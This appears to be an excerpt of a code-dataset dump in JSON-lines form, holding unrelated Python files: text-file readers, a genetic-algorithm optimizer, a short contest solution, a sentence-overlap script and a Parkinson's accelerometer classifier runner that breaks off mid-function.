swell.\"}\n ]\n\n mode (str, optional)\n encoding (str, optional)\n prefix (str, optional): if '', the entire JSON object will be read in at once;\n if 'item', each item in a top-level array will be read in successively;\n if 'item.text', each array item's 'text' value will be read in successively\n\n Yields:\n next matching JSON object; could be a dict, list, int, float, str,\n depending on the value of ``prefix``\n\n Notes:\n Refer to ``ijson`` at https://pypi.python.org/pypi/ijson/ for usage details.\n \"\"\"\n with io.open(filename, mode=mode, encoding=encoding) as f:\n if prefix == '':\n yield json.load(f)\n else:\n for item in ijson.items(f, prefix):\n yield item\n\n\ndef read_json_lines(filename, mode='rt', encoding=None):\n \"\"\"\n Iterate over a stream of JSON objects, where each line of file ``filename``\n is a valid JSON object but no JSON object (e.g. array) exists at the top level.\n\n Args:\n filename (str): /path/to/file on disk from which json objects will be streamed,\n where each line in the file must be its own json object; for example::\n\n {\"title\": \"Harrison Bergeron\", \"text\": \"The year was 2081, and everybody was finally equal.\"}\\n\n {\"title\": \"2BR02B\", \"text\": \"Everything was perfectly swell.\"}\n\n mode (str, optional)\n encoding (str, optional)\n\n Yields:\n dict: next valid JSON object, converted to native Python equivalent\n \"\"\"\n with io.open(filename, mode=mode, encoding=encoding) as f:\n for line in f:\n yield json.loads(line)\n\n\ndef read_json_mash(filename, mode='rt', encoding=None, buffersize=2048):\n \"\"\"\n Iterate over a stream of JSON objects, all of them mashed together, end-to-end,\n on a single line of a file. Bad form, but still manageable.\n\n Args:\n filename (str): /path/to/file on disk from which json objects will be streamed,\n where all json objects are mashed together, end-to-end, on a single line,;\n for example::\n\n {\"title\": \"Harrison Bergeron\", \"text\": \"The year was 2081, and everybody was finally equal.\"}{\"title\": \"2BR02B\", \"text\": \"Everything was perfectly swell.\"}\n\n mode (str, optional)\n encoding (str, optional)\n buffersize (int, optional): number of bytes to read in as a chunk\n\n Yields:\n dict: next valid JSON object, converted to native Python equivalent\n \"\"\"\n with io.open(filename, mode=mode, encoding=encoding) as f:\n buffer = ''\n for chunk in iter(partial(f.read, buffersize), ''):\n buffer += chunk\n while buffer:\n try:\n result, index = JSON_DECODER.raw_decode(buffer)\n yield result\n buffer = buffer[index:]\n # not enough data to decode => read another chunk\n except ValueError:\n break\n\n\ndef read_file(filename, mode='rt', encoding=None):\n \"\"\"\n Read the full contents of a file. Files compressed with gzip or bz2 are handled\n automatically.\n \"\"\"\n _open = gzip.open if filename.endswith('.gz') \\\n else bz2.open if filename.endswith('.bz2') \\\n else io.open\n with _open(filename, mode=mode, encoding=encoding) as f:\n return f.read()\n\n\ndef read_file_lines(filename, mode='rt', encoding=None):\n \"\"\"\n Read the contents of a file, line by line. Files compressed with gzip or bz2\n are handled automatically.\n \"\"\"\n _open = gzip.open if filename.endswith('.gz') \\\n else bz2.open if filename.endswith('.bz2') \\\n else io.open\n with _open(filename, mode=mode, encoding=encoding) as f:\n for line in f:\n yield line\n\n\ndef read_spacy_docs(spacy_vocab, filename):\n \"\"\"\n Stream ``spacy.Doc`` s from disk at ``filename`` where they were serialized\n using Spacy's ``spacy.Doc.to_bytes()`` functionality.\n\n Args:\n spacy_vocab (``spacy.Vocab``): the spacy vocab object used to serialize\n the docs in ``filename``\n filename (str): /path/to/file on disk from which spacy docs will be streamed\n\n Yields:\n the next deserialized ``spacy.Doc``\n \"\"\"\n with io.open(filename, mode='rb') as f:\n for bytes_string in SpacyDoc.read_bytes(f):\n yield SpacyDoc(spacy_vocab).from_bytes(bytes_string)\n\n\ndef get_filenames_in_dir(dirname, file_type=None, subdirs=False):\n \"\"\"\n Yield the full names of files under directory ``dirname``, optionally\n filtering for a certain file type and crawling all subdirectories.\n\n Args:\n dirname (str): /path/to/dir on disk where files to read are saved\n file_type (str, optional): if files only of a certain type are wanted,\n specify the file extension (e.g. \".txt\")\n subdirs (bool, optional): if True, iterate through all files in subdirectories\n\n Yields:\n str: next file's name, including the full path on disk\n\n Raises:\n IOError: if ``dirname`` is not found on disk\n \"\"\"\n if not os.path.exists(dirname):\n raise IOError('directory {} does not exist'.format(dirname))\n\n for dirpath, dirnames, filenames in os.walk(dirname):\n if dirpath.startswith('.'):\n continue\n for filename in filenames:\n if filename.startswith('.'):\n continue\n if file_type and not file_type.endswith(file_type):\n continue\n yield os.path.join(dirpath, filename)\n\n if subdirs is False:\n break\n","sub_path":"textacy/fileio/read.py","file_name":"read.py","file_ext":"py","file_size_in_byte":6539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"452753857","text":"import os\nimport time\nimport numpy as np\n\nfrom biomass.exec_model import ExecModel\nfrom .rcga import (UnimodalNormalDistributionXover,\n DistanceIndependentDiversityControl)\n\nclass GeneticAlgorithmInit(ExecModel):\n def __init__(self, model, max_generation, allowable_error, overwrite):\n super().__init__(model)\n self.search_rgn = self.sp.get_region()\n self.n_population = int(5*self.search_rgn.shape[1])\n self.n_children = 50\n self.n_gene = self.search_rgn.shape[1]\n self.max_generation = max_generation\n self.allowable_error = allowable_error\n self.overwrite = overwrite\n \n if self.n_population < self.n_gene + 2:\n raise ValueError(\n 'n_population must be larger than {:d}'.format(\n self.n_gene + 2\n )\n )\n\n def run(self, nth_paramset):\n if not os.path.isdir(self.model_path + '/out'):\n os.mkdir(self.model_path + '/out')\n if not self.overwrite and os.path.isdir(\n self.model_path + '/out/{:d}'.format(\n nth_paramset\n )\n ):\n raise FileExistsError(\n 'Set overwrite=True to overwrite '\n + self.model_path + '/out/{:d}'.format(\n nth_paramset\n )\n )\n else:\n try:\n files = os.listdir(\n self.model_path + '/out/{:d}'.format(\n nth_paramset\n )\n )\n for file in files:\n if any(map(file.__contains__, ('.npy', '.log'))):\n os.remove(\n self.model_path + '/out/{:d}/{}'.format(\n nth_paramset, file\n )\n )\n except FileNotFoundError:\n os.mkdir(\n self.model_path + '/out/{:d}'.format(\n nth_paramset\n )\n )\n np.random.seed(\n time.time_ns()*nth_paramset % 2**32\n )\n self._ga_v2(nth_paramset)\n\n def _set_initial(self, nth_paramset):\n population = np.full((self.n_population, self.n_gene+1), np.inf)\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='w') as f:\n f.write(\n 'Generating the initial population. . .\\n'\n )\n for i in range(self.n_population):\n while not np.isfinite(population[i, -1]):\n population[i, :self.n_gene] = np.random.rand(self.n_gene)\n population[i, -1] = self.obj_func(population[i, :self.n_gene])\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='a') as f:\n f.write(\n '{:d} / {:d}\\n'.format(i + 1, self.n_population)\n )\n population = population[np.argsort(population[:, -1]), :]\n\n return population\n\n def _ga_v1(self, nth_paramset):\n undx = UnimodalNormalDistributionXover(\n self.obj_func, self.n_population, self.n_children, self.n_gene\n )\n population = self._set_initial(nth_paramset)\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='a') as f:\n f.write(\n '\\n----------------------------------------\\n\\n' +\n 'Generation1: Best Fitness = {:e}\\n'.format(population[0, -1])\n )\n best_indiv = self.sp.gene2val(population[0, :self.n_gene])\n best_fitness = population[0, -1]\n\n np.save(\n self.model_path + '/out/{:d}/generation.npy'.format(\n nth_paramset\n ), 1\n )\n np.save(\n self.model_path + '/out/{:d}/fit_param1'.format(\n nth_paramset\n ), best_indiv\n )\n np.save(\n self.model_path + '/out/{:d}/best_fitness.npy'.format(\n nth_paramset\n ), best_fitness\n )\n if population[0, -1] <= self.allowable_error:\n return\n\n generation = 1\n while generation < self.max_generation:\n population = undx.mgg_alternation(population)\n best_indiv = self.sp.gene2val(population[0, :self.n_gene])\n if population[0, -1] < best_fitness:\n np.save(\n self.model_path + '/out/{:d}/generation.npy'.format(\n nth_paramset\n ), generation + 1\n )\n np.save(\n self.model_path + '/out/{:d}/fit_param{:d}.npy'.format(\n nth_paramset, generation + 1\n ), best_indiv\n )\n best_fitness = population[0, -1]\n np.save(\n self.model_path + '/out/{:d}/best_fitness.npy'.format(\n nth_paramset\n ), best_fitness\n )\n np.save(\n self.model_path + '/out/{:d}/count_num.npy'.format(\n nth_paramset\n ), generation + 1\n )\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='a') as f:\n f.write(\n 'Generation{:d}: Best Fitness = {:e}\\n'.format(\n generation + 1, best_fitness\n )\n )\n if population[0, -1] <= self.allowable_error:\n break\n\n generation += 1\n\n return\n\n def _ga_v2(self, nth_paramset):\n \"\"\"ga_v2 optimizes an objective function through the following procedure.\n\n 1. Initialization\n As an initial population, create np individuals randomly.\n ga_v2 also represents individuals as n-dimensional real number\n vectors, where n is the dimension of the search space. Set\n Generation to 0, and set the iteration number of converging\n operations Niter to 1.\n\n 2. Selection for reproduction\n As parents for the recombination operator, ENDX, select m\n individuals, p1, p2, . . . ,pm, without replacement from the\n population.\n\n 3. Generation of offsprings\n Generate Nc children by applying ENDX to the selected parents.\n This algorithm assigns the worst objective value to the children.\n\n 4. Local Search (NDM/MGG)\n Apply the local search method to the best individual in a family\n consisting of the two parents, i.e., p1 and p2, and their children.\n Note here that the children are assumed to have the worst objective\n value. Thus, whenever the objective values of the two parents have\n been actually computed in previous generations, the algorithm\n applies the local search to either of the parents. When all of the\n individuals in the family have the same objective value, on the\n other hand, the local search is applied to a randomly selected\n individual from the family.\n\n 5. Selection for survival\n Select two individuals from the family. The first selected\n individual should be the individual with the best objective value,\n and the second should be selected randomly. Then, replace the two\n parents (p1 and p2) with the selected individuals. Note that the\n individual to which the local search has been applied in the\n previous step is always selected as the best.\n\n 6. Application of ENDX/MGG\n To achieve a good search performance, ga_v2 optimizes a function,\n gradually narrowing the search space. For this purpose, the\n converging phase slightly converges the population by repeating the\n following procedure Niter times.\n\n (i) Select m individuals without replacement from the population.\n The selected individuals, expressed here as p1, p2, . . . , pm,\n are used as the parents for an extended normal distribution\n crossover (ENDX) applied in the next step.\n\n (ii) Generate Nc children by applying ENDX to the parents selected\n in the previous step. To reduce the computational cost, ga_v2\n forgoes any computation of the objective values of the Nc\n individuals generated here. Instead, the algorithm assigns the\n newly generated children a single objective value, one which is\n inferior to the objective values of any of the possible\n candidate solutions.\n\n (iii) Select two individuals from a family containing the two\n parents, i.e., p1 and p2, and their children. The first\n selected individual should be the one with the best objective\n value, and the second should be selected randomly. Then,\n replace the two parents with the selected individuals.\n\n 7. Adaptation of Niter\n If the best individual has not improved during the last np\n generations, Niter <- 2 * Niter. Otherwise, set Niter to 1.\n\n 8. Termination\n Stop if the halting criteria are satisfied.\n Otherwise, Generation <- Generation + 1, and return to the step 2.\n \"\"\"\n didc = DistanceIndependentDiversityControl(\n self.obj_func, self.n_population, self.n_children, self.n_gene\n )\n n_iter = 1\n n0 = np.empty(3*self.n_population)\n\n population = self._set_initial(nth_paramset)\n n0[0] = population[0, -1]\n\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='a') as f:\n f.write(\n '\\n----------------------------------------\\n\\n' +\n 'Generation1: Best Fitness = {:e}\\n'.format(population[0, -1])\n )\n best_indiv = self.sp.gene2val(population[0, :self.n_gene])\n best_fitness = population[0, -1]\n\n np.save(\n self.model_path + '/out/{:d}/generation.npy'.format(\n nth_paramset\n ), 1\n )\n np.save(\n self.model_path + '/out/{:d}/fit_param1.npy'.format(\n nth_paramset\n ), best_indiv\n )\n np.save(\n self.model_path + '/out/{:d}/best_fitness.npy'.format(\n nth_paramset\n ), best_fitness\n )\n if population[0, -1] <= self.allowable_error:\n return\n\n generation = 1\n while generation < self.max_generation:\n ip = np.random.choice(\n self.n_population, self.n_gene+2, replace=False\n )\n population = didc.converging(ip, population)\n population = didc.local_search(ip, population)\n for _ in range(n_iter-1):\n ip = np.random.choice(\n self.n_population, self.n_gene+2, replace=False\n )\n population = didc.converging(ip, population)\n if generation % len(n0) == len(n0) - 1:\n n0[-1] = population[0, -1]\n if n0[0] == n0[-1]:\n n_iter *= 2\n else:\n n_iter = 1\n else:\n n0[generation % len(n0)] = population[0, -1]\n\n best_indiv = self.sp.gene2val(population[0, :self.n_gene])\n if population[0, -1] < best_fitness:\n np.save(\n self.model_path + '/out/{:d}/generation.npy'.format(\n nth_paramset\n ), generation + 1\n )\n np.save(\n self.model_path + '/out/{:d}/fit_param{:d}.npy'.format(\n nth_paramset, generation + 1\n ), best_indiv\n )\n best_fitness = population[0, -1]\n np.save(\n self.model_path + '/out/{:d}/best_fitness.npy'.format(\n nth_paramset\n ), best_fitness\n )\n np.save(\n self.model_path + '/out/{:d}/count_num.npy'.format(\n nth_paramset\n ), generation + 1\n )\n with open(\n self.model_path + '/out/{:d}/'\n 'optimization.log'.format(nth_paramset), mode='a') as f:\n f.write(\n 'Generation{:d}: Best Fitness = {:e}\\n'.format(\n generation + 1, best_fitness\n )\n )\n if population[0, -1] <= self.allowable_error:\n break\n\n generation += 1\n \n return\n","sub_path":"biomass/ga/ga_init.py","file_name":"ga_init.py","file_ext":"py","file_size_in_byte":13087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"198614730","text":"# -*- coding: utf-8 -*-\ns = input()\n\ncp = 0\ncg = 0\n\nfor ss in list(s):\n if ss == \"p\":\n cp += 1\n else:\n cg += 1\n\nif cg==cp:\n print(0)\nelse:\n print((cg+cp)//2 - cp)\n","sub_path":"work/arc062_d.py","file_name":"arc062_d.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"95011997","text":"# import csv\n\n# with open('./swda(1)employee_birthda y.txt') as csv_file:\n# csv_reader = csv.reader(csv_file, delimiter=',')\n# line_count = 0\n# for row in csv_reader:\n# if line_count == 0:\n# print(f'Column names are {\", \".join(row)}')\n# line_count += 1\n# else:\n# print(f'\\t{row[0]} works in the {row[1]} department, and was born in {row[2]}.')\n# line_count += 1\n# print(f'Processed {line_count} lines.')\nimport os\nimport argparse\nimport pathlib\nimport csv\nimport itertools\nfrom nltk.util import ngrams\nimport pandas as pd\nimport numpy as np\nfrom nltk.corpus import stopwords \nfrom nltk.tokenize import word_tokenize \n# from nltk.tokenize\nstop_words = set(stopwords.words('english')) \n\n\nsentences = []\n\ndef get_all_files_in_dir(location): \n for subdir, dirs, files in os.walk(location):\n for file in files:\n yield os.path.join(subdir, file)\n\ndef is_CSV(filepath):\n return filepath.endswith(\".txt\") and not \"metadata\" in filepath\n\ndef get_all_csvs_in_dir(location):\n return filter(is_CSV, get_all_files_in_dir(location))\ndef get_jaccard_sim(str1, str2): \n a = set(str1.split()) \n b = set(str2.split()) \n c = a.intersection(b)\n return c\ndef stop_word_removal(str):\n word_tokens = word_tokenize(str)\n filtered_sentence = [] \n \n for w in word_tokens: \n if w not in stop_words: \n filtered_sentence.append(w) \n return filtered_sentence\nname = './Switchboard-Corpus/swda_data/train'\nfor file in os.listdir(name):\n\n f_output = open(\"./output/\"+file+\"_output.txt\",'w')\n # pathlib.Path(os.path.join(command.output_location, file_without_ext)).mkdir(parents=True, exist_ok=True)\n with open(name+\"/\"+file,'r') as f:\n print(f.name)\n for sentence in f.readlines():\n # print(sentence.split(\"|\")[1])\n sentences.append(sentence.split(\"|\")[1])\n # sentences = np.array(saved_column.tolist())\n # # print(len(saved_column))\n temp = []\n\n for sentence in sentences:\n s = stop_word_removal(sentence)\n temp.append(\" \".join(s))\n # for x in itertools.combinations(temp, 2):\n for i in range(1,len(temp)):\n for j in range(2,len(temp)):\n words = word_tokenize(temp[i])\n wordsFiltered = []\n \n for w in words:\n if w not in stop_words:\n wordsFiltered.append(w)\n similarity = get_jaccard_sim(temp[i],temp[j])\n depth = j- i\n if (len(similarity) > 3 and depth > 2):\n f_output.write(\"similarity\"+\"==>\" + \" \".join(similarity)+\" | \" + \"depth : \"+ str(depth) + \"\\n\")\n\n \n # print(\"---------------done -------------------\")\n # for i in ennumeratesentences:\n # sentences\n # # rows = csv.DictReader(f)\n # sentences = [row for row in rows]\n # print(sentences)\n\n\n","sub_path":"ngramComparison.py","file_name":"ngramComparison.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"250370025","text":"import dataBase as db\nimport sqlite3 as sql\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport peakutils\nimport dataSignalP as sp\nfrom scipy import signal\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import confusion_matrix as cm\nfrom sklearn.metrics import f1_score\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import RandomForestClassifier as rforest\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import precision_score\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.linear_model import LogisticRegressionCV\nfrom os.path import expanduser\nimport os \nimport sys\nfrom sklearn.externals import joblib\n\n\n\ndef unpackParams(params):\n if params != {}:\n visualize=params[\"visualize\"]\n aggregateToDataBase=params[\"aggregateToDataBase\"]\n computeXYZFeatures=params[\"computeXYZFeatures\"]\n createLabelsTable=params[\"createLabelsTable\"]\n buildClassifiers=params[\"buildClassifiers\"]\n useNormFeatures=params[\"useNormFeatures\"]\n computeNormFeatures=params[\"computeNormFeatures\"]\n storeModel=params[\"storeModel\"]\n thold=params[\"thold\"]\n else:\n #Organized in order of execution\n visualize=True\n aggregateToDataBase=False\n computeXYZFeatures=False\n createLabelsTable=False\n buildClassifiers=False\n useNormFeatures=False\n computeNormFeatures=False\n storeModel=False\n thold=1\n \n return visualize, \\\n aggregateToDataBase, \\\n computeXYZFeatures, \\\n createLabelsTable, \\\n buildClassifiers, \\\n useNormFeatures, \\\n computeNormFeatures, \\\n storeModel, \\\n thold\n\n\ndef runner(classifier,windowSize,params={}):\n database=params['database']\n homepath=params['homepath']\n path=params['path']\n sumFilename=params['sumFilename']\n \n visualize, \\\n aggregateToDataBase, \\\n computeXYZFeatures, \\\n createLabelsTable, \\\n buildClassifiers, \\\n useNormFeatures, \\\n computeNormFeatures, \\\n storeModel, \\\n thold= unpackParams(params)\n \n \n #Data aggregation to the data base\n \n \n #Experiment parameters\n \n #UPDRS score is binarized, thold serves as the threshold \n \n# classifier=\"svm\"\n# windowSize=200\n\n\n featurestablename=\"features_%d\"%(windowSize)\n cols=3\n \n if computeNormFeatures or useNormFeatures:\n featurestablename=featurestablename+\"_norm\"\n cols=1\n \n \n print(\"windowSize =%s\"%windowSize)\n \n if aggregateToDataBase:\n db.createFromDirectory(path,database)\n \"\"\"\n TODO : Add a way to either overwrite or delete\n all the previous contents to start a new database\n \"\"\"\n if computeNormFeatures:\n psdCalc=True\n ampFeatsCalc=True\n peakDetection=True\n norm=True\n db.computeFeatures(database,norm=norm,winSize=windowSize,PSD=psdCalc,AmpFeats=ampFeatsCalc,peakDetect=peakDetection,tablename=featurestablename)\n \n if computeXYZFeatures:\n psdCalc=True\n ampFeatsCalc=True\n peakDetection=True\n db.computeFeatures(database,winSize=windowSize,PSD=psdCalc,AmpFeats=ampFeatsCalc,peakDetect=peakDetection,tablename=featurestablename)\n \n if createLabelsTable:\n filename=\"/Users/ingenia/Dropbox/parkinson/updrs_scores.csv\"\n con=db.createDB(database)\n df=pd.read_csv(filename)\n df.to_sql(\"updrs_scores\",con,if_exists=\"replace\") \n con.close()\n \n \n \n if buildClassifiers: \n print(\"classifier = %s\"%(classifier))\n con=sql.connect(database)\n pList=db.patientsList(con)\n #Excluding the control patient\n pList=pList[pList['patient']!=1207]\n listOfPatients=pList['patient'].unique().tolist()\n \n f1scores=[]\n confRes=[]\n results={'f1score':[],\n 'accuracy':[],\n 'recall':[],\n 'precision':[],\n 'roc_auc_score':[],\n 'testingPatient':[],\n 'positivesTrainingTotal':[],\n 'negativesTrainingTotal':[],\n 'positivesTestingTotal':[],\n 'negativesTestingTotal':[],\n 'windowSize':[],\n 'classifier':[],\n 'classifierParameters':[],\n 'scoreThold':[],\n 'truePositives':[],\n 'trueNegatives':[],\n 'falsePositives':[],\n 'falseNegatives':[]\n }\n \n # print(pList)\n \n # A way to improve the whole process is by keeping indexes of all of the data points\n # and then put together the test and train data sets only whenever a classifier is going\n # to be trained\n for testPatient in listOfPatients:\n print(\"testing on %s\"%(testPatient))\n trainData=[]\n trainLabels=[]\n testData,testLabels,_=db.allPatientData(con,testPatient,pList,cols,filterArmOnly=True,thold=thold,tablename=featurestablename)\n print(\"Training on \")\n for trainPatient in listOfPatients:\n print(trainPatient)\n if testPatient != trainPatient:\n temptrainData,temptrainLabels,_=db.allPatientData(con,trainPatient,pList,cols,filterArmOnly=True,thold=thold,tablename=featurestablename)\n if trainData !=[]:\n trainData=np.r_[trainData,temptrainData]\n trainLabels=np.r_[trainLabels,temptrainLabels]\n else:\n trainData=temptrainData\n trainLabels=temptrainLabels\n \n if trainData != [] and testData != [] and np.sum(trainLabels)>0:\n if classifier==\"lr-cv-l1\":\n print(\"using logistic regression\")\n clf=LogisticRegressionCV(penalty='l1') \n \n if classifier==\"lr-cv-l2\":\n print(\"using logistic regression\")\n clf=LogisticRegressionCV(penalty='l2')\n \n if classifier==\"lr-l1\":\n print(\"using logistic regression\")\n clf=LogisticRegression(penalty=\"l1\",C=1)\n \n if classifier==\"lr-l2\":\n print(\"using logistic regression\")\n clf=LogisticRegression(penalty=\"l2\",C=1)\n \n if classifier==\"svm\":\n print(\"using SVM\")\n clf=SVC(cache_size=2000)\n if classifier==\"randomForest\":\n print(\"using random Forest\")\n clf=rforest(n_estimators=1000,n_jobs=-1)\n if classifier==\"naive\":\n clf=GaussianNB()\n\n \n positivesTrain=np.sum(trainLabels)\n negativesTrain=trainLabels.shape[0]-positivesTrain\n \n positivesTest=np.sum(testLabels)\n negativesTest=testLabels.shape[0]-positivesTest\n \n \n trainLabels=trainLabels.ravel()\n testLabels=testLabels.ravel()\n print(\"Starting training\")\n clf.fit(trainData,trainLabels)\n print(\"training done\")\n predLabels=clf.predict(testData)\n confusionM=cm(testLabels,predLabels)\n print(confusionM)\n print(accuracy_score(testLabels,predLabels))\n print(recall_score(testLabels,predLabels)) \n \n \n results['f1score'].append(f1_score(testLabels,predLabels))\n results['roc_auc_score'].append(roc_auc_score(testLabels,predLabels))\n results['accuracy'].append(accuracy_score(testLabels,predLabels))\n results['recall'].append(recall_score(testLabels,predLabels))\n results['precision'].append(precision_score(testLabels,predLabels))\n results['testingPatient'].append(testPatient)\n results['positivesTrainingTotal'].append(positivesTrain)\n results['positivesTestingTotal'].append(positivesTest)\n results['negativesTrainingTotal'].append(negativesTrain)\n results['negativesTestingTotal'].append(negativesTest)\n results['windowSize'].append(windowSize)\n results['classifier'].append(classifier)\n results['classifierParameters'].append(clf.get_params())\n results['scoreThold'].append(thold)\n results['truePositives'].append(confusionM[1,1])\n results['trueNegatives'].append(confusionM[0,0])\n results['falseNegatives'].append(confusion[1,0])\n results['falsePositives'].append(confusionM[0,1])\n \n else:\n results['f1score'].append(-1)\n results['roc_auc_score'].append(-1)\n results['accuracy'].append(-1)\n results['recall'].append(-1)\n results['precision'].append(-1)\n results['testingPatient'].append(testPatient)\n results['positivesTrainingTotal'].append(-1)\n results['positivesTestingTotal'].append(-1)\n results['negativesTrainingTotal'].append(-1)\n results['negativesTestingTotal'].append(-1)\n results['windowSize'].append(windowSize)\n results['classifier'].append(classifier)\n results['classifierParameters'].append(-1)\n results['scoreThold'].append(thold)\n results['truePositives'].append(-1)\n results['trueNegatives'].append(-1)\n results['falseNegatives'].append(-1)\n results['falsePositives'].append(-1)\n \n \n #Store as a CSV for later analysis as a google doc and also as a pickle for \n #later retraining a classifier\n \n summary=pd.DataFrame.from_dict(results) \n if os.path.isfile(sumFilename):\n if os.stat(sumFilename).st_size > 0:\n print('no header')\n summary.to_csv(sumFilename,index=False,mode=\"a\",header=False)\n else:\n summary.to_csv(sumFilename,index=False,mode=\"a\",header=True)\n else:\n summary.to_csv(sumFilename,index=False,mode=\"a\",header=True)\n \n \n con.close()\n \n \n #Add a different name to the features tables so that it depends on the windowsize\n #create some log file where it is store what the heck is each features table\n #re write the classification results summary code it should include\n #Table of data from which is reading, each fold results and summary results per line\n #Check previous results to get a good format\n #number of data points per classs\n #real score and maybe score for each limb?- task file?\n #>>>>IMPORTANT add how many files are included? although we already have the number of data points\n \n \n if visualize:\n con=sql.connect(database)\n pList=db.patientsList(con)\n for i in range(pList.shape[0]):\n \n temp=pList.iloc[i,:]\n if temp['state'] != \"control\" and temp['patient']==1212 and (temp['task']==1 or temp['task']==2) and temp['state']==\"off\" and temp['limb']!=3 and temp['limb']!=4:\n print(pList.iloc[i,:])\n query=\"SELECT x,y,z FROM data WHERE patient==%d and task==%d and limb==%d and state=='%s'\"%(temp['patient'],temp['task'],temp['limb'],temp['state'])\n data=pd.read_sql_query(query,con)\n data=data.as_matrix()\n print(query)\n # data=data-np.median(data,0)\n #signal detrending\n # for axis in range(3):\n # data[:,axis]=signal.detrend(data[:,axis],type='linear')\n # \n plt.figure(figsize=(20,5))\n #\n absdata=np.abs(data)\n plt.plot(data)\n indexes=[]\n for axis in range(3):\n # indexes= peakutils.indexes(data[:,axis], thres=0, min_dist=5)\n fdata=signal.savgol_filter(data[:,axis],9,2)\n # indexes = peakutils.indexes(data[:,axis]+np.max(np.abs(data[:,axis])), thres=0, min_dist=5)\n # indneg = peakutils.indexes(-data[:,axis]+np.max(np.abs(data[:,axis])), thres=0, min_dist=5)\n indexes = peakutils.indexes(fdata+np.max(np.abs(fdata)), thres=0, min_dist=5)\n indneg = peakutils.indexes(-fdata+np.max(np.abs(fdata)), thres=0, min_dist=5)\n \n \n # indexes2=signal.find_peaks_cwt(absdata[:,axis], np.arange(5,8))\n \n #data smoothing\n # fdata=signal.savgol_filter(data[:,axis],9,2)\n # indexes3=sp.peakdetectDelta(data[:,axis],0.01, 5)\n # indexes3=sp.peakdetectDelta(fdata,0.01, 5)\n # plt.plot(fdata)\n # plt.plot(indexes2,data[indexes2,axis],\"x\")\n plt.plot(fdata)\n plt.plot(indexes,fdata[indexes],\"o\")\n plt.plot(indneg,fdata[indneg],\"o\")\n \n # plt.plot(indexes,data[indexes,axis],\"o\")\n # plt.plot(indneg,data[indneg,axis],\"o\")\n \n # plt.plot(indexes3,data[indexes3,axis],\"^\")\n \n plt.show()\n \ndef testModel(params):\n database=params['database']\n homepath=params['homepath']\n path=params['path']\n sumFilename=params['sumFilename']\n cols=params['cols']\n thold=params['thold']\n windowSize=params['windowSize']\n featurestablename=\"features_%d\"%(windowSize)\n classifier=params['classifier']\n print(\"classifier = %s\"%(params[\"classifier\"]))\n con=sql.connect(database)\n pList=db.patientsList(con)\n #Excluding the control patient\n pList=pList[pList['patient']!=1207]\n listOfPatients=pList['patient'].unique().tolist()\n \n f1scores=[]\n confRes=[]\n results={'f1score':[],\n 'accuracy':[],\n 'recall':[],\n 'precision':[],\n 'roc_auc_score':[],\n 'testingPatient':[],\n 'positivesTrainingTotal':[],\n 'negativesTrainingTotal':[],\n 'positivesTestingTotal':[],\n 'negativesTestingTotal':[],\n 'windowSize':[],\n 'classifier':[],\n 'classifierParameters':[],\n 'scoreThold':[],\n 'truePositives':[],\n 'trueNegatives':[],\n 'falsePositives':[],\n 'falseNegatives':[]\n }\n \n# print(pList)\n\n # A way to improve the whole process is by keeping indexes of all of the data points\n # and then put together the test and train data sets only whenever a classifier is going\n # to be trained\n for testPatient in listOfPatients:\n print(\"testing on %s\"%(testPatient))\n trainData=[]\n otrtrainData=[]\n ortrainLabels=[]\n trainLabels=[]\n testData,testLabels,testorData,testActivity=db.allPatientData(con,testPatient,pList,cols,filterArmOnly=True,thold=thold,tablename=featurestablename)\n# ortestData,ortestLabels=db.allPatientRawData(con,testPatient,pList,filterArmOnly=True,thold=thold,tablename=\"data\")\n print(\"Training on \")\n for trainPatient in listOfPatients:\n \n if testPatient != trainPatient:\n print(trainPatient)\n temptrainData,temptrainLabels,_,_=db.allPatientData(con,trainPatient,pList,cols,filterArmOnly=True,thold=thold,tablename=featurestablename)\n \n if trainData !=[]:\n trainData=np.r_[trainData,temptrainData]\n trainLabels=np.r_[trainLabels,temptrainLabels]\n \n else:\n trainData=temptrainData\n trainLabels=temptrainLabels\n break\n \n \n if trainData != [] and testData != [] and np.sum(trainLabels)>0:\n if classifier==\"lr-cv-l1\":\n print(\"using logistic regression\")\n clf=LogisticRegressionCV(penalty='l1') \n\n if classifier==\"lr-cv-l2\":\n print(\"using logistic regression\")\n clf=LogisticRegressionCV(penalty='l2')\n\n if classifier==\"lr-l1\":\n print(\"using logistic regression\")\n clf=LogisticRegression(penalty=\"l1\",C=1)\n \n if classifier==\"lr-l2\":\n print(\"using logistic regression\")\n clf=LogisticRegression(penalty=\"l2\",C=1)\n \n if classifier==\"svm\":\n print(\"using SVM\")\n clf=SVC(cache_size=2000)\n if classifier==\"randomForest\":\n print(\"using random Forest\")\n clf=rforest(n_estimators=1000,n_jobs=-1)\n if classifier==\"naive\":\n clf=GaussianNB()\n\n \n positivesTrain=np.sum(trainLabels)\n negativesTrain=trainLabels.shape[0]-positivesTrain\n \n positivesTest=np.sum(testLabels)\n negativesTest=testLabels.shape[0]-positivesTest\n \n \n trainLabels=trainLabels.ravel()\n testLabels=testLabels.ravel()\n print(\"Starting training\")\n clf.fit(trainData,trainLabels)\n print(\"training done\")\n \n \n \n predLabels=clf.predict(testData)\n if \"visualize\" in params:\n \n t=np.array(range(testorData.shape[0]))\n inds=np.argwhere(predLabels==1)\n indsTicks=np.linspace(0, t.size-1, 100,dtype=int)\n fig=plt.figure()\n testLabels=testLabels.astype(int)\n for cc in range(cols):\n \n ax1 = fig.add_subplot(111)\n 